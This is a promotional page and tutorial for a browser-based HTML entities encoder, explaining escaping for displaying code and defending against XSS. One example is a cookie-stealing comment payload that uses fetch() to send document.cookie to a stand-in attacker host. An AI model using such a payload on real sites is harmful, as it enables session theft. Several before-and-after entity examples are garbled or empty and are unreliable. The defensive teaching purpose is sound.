HTML Entities Encoder

The best free HTML Entities Encoder. Instantly convert text and code to safe HTML entities (e.g., <, &, "). Unlimited, private, and no registration.

Want to decode your HTML Entities? Use this tool: HTML Entities Decoder!

It’s the classic paradox every developer and technical writer has faced: you want to write a blog post about how to use a <div> tag. You type <div> into your editor, hit “Publish,” and… your article is broken. The text disappears, or your entire page layout shatters.

Why? Because your browser is trying to *render* your <div> tag as HTML code, not *display* it as a text example. The browser is doing its job, but it’s not what you wanted.

To “disable” this code and make it safe to display as plain text, you must “escape” or “encode” those special characters. < must become <, and > must become >. Doing this manually for a large code block is not just tedious—it’s impossible and prone to errors.

That’s where our Free & Unlimited HTML Entities Encoder, located at the top of this page, comes to your rescue. It’s a powerful, instant utility that takes your raw code and converts it into safe, displayable text that you can paste anywhere.

And because this is a Bohodev tool, our “no-nonsense” guarantee applies:

• 100% FREE: No ‘pro’ versions, no trials, no hidden fees.
• ABSOLUTELY UNLIMITED: No character limits, no file size limits, no use caps. Encode an entire library. We don’t mind.
• NO LOGIN REQUIRED: No registration, no email harvesting. Just visit the page and get your work done.
• 100% PRIVATE & SECURE: This is our most critical feature. You’re pasting source code, sensitive data, or a private blog post. Our tool runs 100% in your browser (client-side). Your text never leaves your computer and is never sent to our servers. We can’t see it, we don’t log it, and we don’t want to.

This comprehensive guide will dive into *why* entity encoding is one of the most important practices in web development—not just for displaying code, but for security—and how our free tool can become an essential part of your workflow.

What Is an HTML Entity Encoder (And Why Do You Need One)?

An **HTML Entity Encoder** (also known as an “HTML Encoder” or “Text to HTML Entities Converter”) is a tool that translates characters that have a special meaning in HTML into their corresponding “HTML entity” representation.

These “special” or “reserved” characters are:

• < (Less-Than Sign): Tells the browser “an HTML tag is starting.”
• > (Greater-Than Sign): Tells the browser “an HTML tag is ending.”
• & (Ampersand): Tells the browser “an HTML entity code is starting.”
• " (Double Quote): Used to wrap attributes (e.g., class="...").
• ' (Single Quote): Also used to wrap attributes.

An *encoder* takes these “dangerous” characters and converts them into “safe” text strings that the browser will *display* instead of *executing*.

Encoding Example: Before vs. After

Let’s see it in action. Imagine you want to display this code example on your website:

INPUT (Raw Text):

If you paste this directly into your HTML editor, the browser will try to render it. To *display* it as text, you must first paste it into our HTML Entities Encoder. The tool will instantly give you:

OUTPUT (Encoded Text):

<div class="profile" id='main'>
  <p>Hello & Welcome!</p>
</div>

Notice how *every* special character was converted:

• < became < (Less-Than)
• > became > (Greater-Than)
• " became " (Quote)
• ' became ' (Apostrophe)
• And even the & became & (Ampersand) to stop the browser from thinking it was the start of another entity.

Now, you can safely paste this encoded block anywhere in your site (e.g., inside <pre> or <code> tags), and the browser will display it exactly as you intended: as a readable code example.

More Than Just Display: Why Encoding is Critical for Security (Preventing XSS)

The second, and arguably more critical, function of an HTML encoder is **security**.

Any time your website allows a *user* to submit text that will be *displayed* to other users, you have a massive security risk. The most common examples are:

• Blog comment sections
• User profile names
• Forum posts
• Product reviews

What happens if a hacker, instead of writing a normal comment, submits this?

I love this post! <script>fetch('https://hacker.com/steal?cookie=' + document.cookie);</script>

If you take that text and display it on your page as-is, every other user’s browser will *execute* that malicious <script> tag. The hacker has just stolen their session cookie and taken over their account. This is called a **Cross-Site Scripting (XSS)** attack, and it’s one of the most common and dangerous web vulnerabilities.

How do you prevent it? By **encoding** the user’s input *before* displaying it on the page.

If you take that malicious comment and run it through our HTML Entities Encoder first, you’ll get this:

I love this post! <script>fetch('https...);</script>

Now, when your browser tries to display this comment, it will not execute the script. It will simply *display the text* of the script, rendering it **completely harmless**. Encoding has “neutralized” or “sanitized” the malicious input. Our tool is the perfect way to test sanitization or to quickly encode strings for safe use.

How to Use Our Free HTML Entities Encoder Tool

We designed this tool for a rapid workflow. It uses a simple two-pane layout: **Input (Left)** and **Output (Right)**.

Step 1: Paste Your Raw Text

Copy the text or code you want to encode. This can be an HTML snippet, a plain text block with ampersands and quotes, or user input you need to sanitize. Paste it into the **”Input (HTML Code)”** box on the left.

Example Input:

Click Me

Step 2: Click “Encode”

Hit the blue “Encode” button. Our powerful, client-side script will instantly scan your entire text and replace every special character (<, >, &, ", ') with its corresponding HTML entity.

Step 3: Copy Your Safe Output

The **”Output (Encoded Text)”** box on the right is instantly populated with the safe, encoded text.

Example Output:

<a href="httpsm://google.com?q=test&page=2">Click Me</a>

This text is now 100% safe to paste anywhere. Click **”Copy Output”** to copy it to your clipboard. You can now paste it into your HTML editor, <pre> block, or database field.

Real-World Use Cases (Who Needs This Tool?)

This tool is essential for anyone who publishes content on the web. Here are a few common scenarios.

Use Case 1: The Technical Blogger & Educator

• The Problem: You’re writing a tutorial on WordPress or CSS and need to show your readers an exact code snippet. You paste <h1>My Title</h1> into the visual editor, and it just renders a big title, not the code text.
• The Solution: You paste <h1>My Title</h1> into our tool’s **Input**. You copy the **Output** (<h1>My Title</h1>). You then paste this encoded string into your HTML editor (or a <pre> block). The result: your readers see the code text exactly as you intended.

Use Case 2: The Web Developer (Working with <pre>)

• The Problem: This is a common misconception. Developers think the <pre> tag automatically displays code as-is. This is false. The browser will *still* try to render HTML tags *inside* a <pre>.
• The Solution: To display HTML inside <pre>, you *must* encode it first. The correct workflow is:
  1. Write your raw HTML code.
  2. Paste it into our HTML Entities Encoder.
  3. Copy the encoded output.
  4. Paste that encoded output *between* your <pre>...</pre> tags.

Use Case 3: The Backend Developer (Handling JSON & APIs)

• The Problem: You need to send a block of HTML (like a formatted user bio) as a *string* in a JSON payload. If you just put raw HTML in the JSON string, the quotes in the HTML (class="...") will break the JSON structure and cause a parsing error.
• The Solution: You take the HTML bio string (<p>My "bio"</p>), run it through the encoder to get <p>My "bio"</p>. This encoded string is now 100% safe to place inside a JSON field and will be correctly decoded by the frontend application.

Use Case 4: The Security Manager (Testing for XSS)

• The Problem: A security manager needs to test if a blog comment form is vulnerable to an XSS attack.
• The Solution: They use this tool to *create* payloads. They type <script>alert(1)</script>, but they also want to test for filter bypasses, so they encode parts of it to see how the server handles it. This tool becomes a quick sandbox for building test strings.

The Bohodev Guarantee: Why “Unlimited” & “Private” Are Non-Negotiable

We cannot stress this enough. When you are dealing with encoding, you are almost always dealing with one of two things:

1. Large Volumes of Text: (e.g., entire blog posts, code files).
2. Sensitive Data: (e.g., proprietary company source code, API payloads, user data that needs sanitizing).

Any tool with a “5000 character limit” is useless for professional work. Any tool that sends your data to a server to be “processed” is a massive security risk.

Our HTML Entities Encoder is built on a 100% client-side architecture. The entire encoding logic happens in *your* browser using JavaScript.

• Your data is **NEVER** sent to our servers.
• Your data is **NEVER** logged.
• Your data **NEVER** leaves your computer.

This architecture is what allows us to offer **truly unlimited** processing. We don’t care if you paste 10 characters or 10 million. It’s *your* computer’s processor doing the work, not our server. This makes our tool infinitely scalable, completely free, and the most secure and private solution on the web.

Conclusion: The Safest Way to Display Code and Secure Your Site

Encoding HTML is a fundamental, non-negotiable part of modern web development. It’s the key to displaying code examples clearly and the #1 defense against XSS attacks.

But doing it manually is impossible, and trusting a random server-side tool is insecure. The Bohodev HTML Entities Encoder is the definitive solution. It’s fast, powerful, and built on a foundation of privacy and true, unlimited access.

Bookmark this page. The next time you need to show a code snippet on your blog or sanitize user input, you’ll know exactly where to go to get it done instantly and safely.

Frequently Asked Questions (FAQ)

Q: Is this HTML Entities Encoder *really* free and unlimited?
A: Yes, 100%. We mean it. There are no character limits, no usage caps, and no ‘pro’ versions. Bohodev provides this professional-grade tool completely free, with no login or registration required.

Q: Is my data safe? Are you logging my source code?
A: Your data is 100% safe. This is our most important promise. The tool runs *entirely in your browser* (client-side). Your text is never sent to or stored on our servers. We cannot see, log, or access what you paste.

Q: Why do I need to encode `<` and `>`?
A: Because they are “reserved characters.” The browser interprets them as the start and end of an HTML tag. Encoding them (to < and >) tells the browser “I want you to *display* this character, not *execute* it as code.”

Q: What is XSS (Cross-Site Scripting)?
A: XSS is a web security vulnerability where an attacker injects malicious code (usually JavaScript) into a website. If the site displays this code without encoding it, the malicious script will run in other users’ browsers, allowing the attacker to steal information. Encoding user input is the primary defense against XSS.

Q: What’s the difference between this and a URL Encoder?
A: They are for different purposes. A URL Encoder converts characters for use in a URL (e.g., a space becomes %20). An HTML Entities Encoder converts characters for safe display *within* an HTML document (e.g., < becomes <). They are not interchangeable.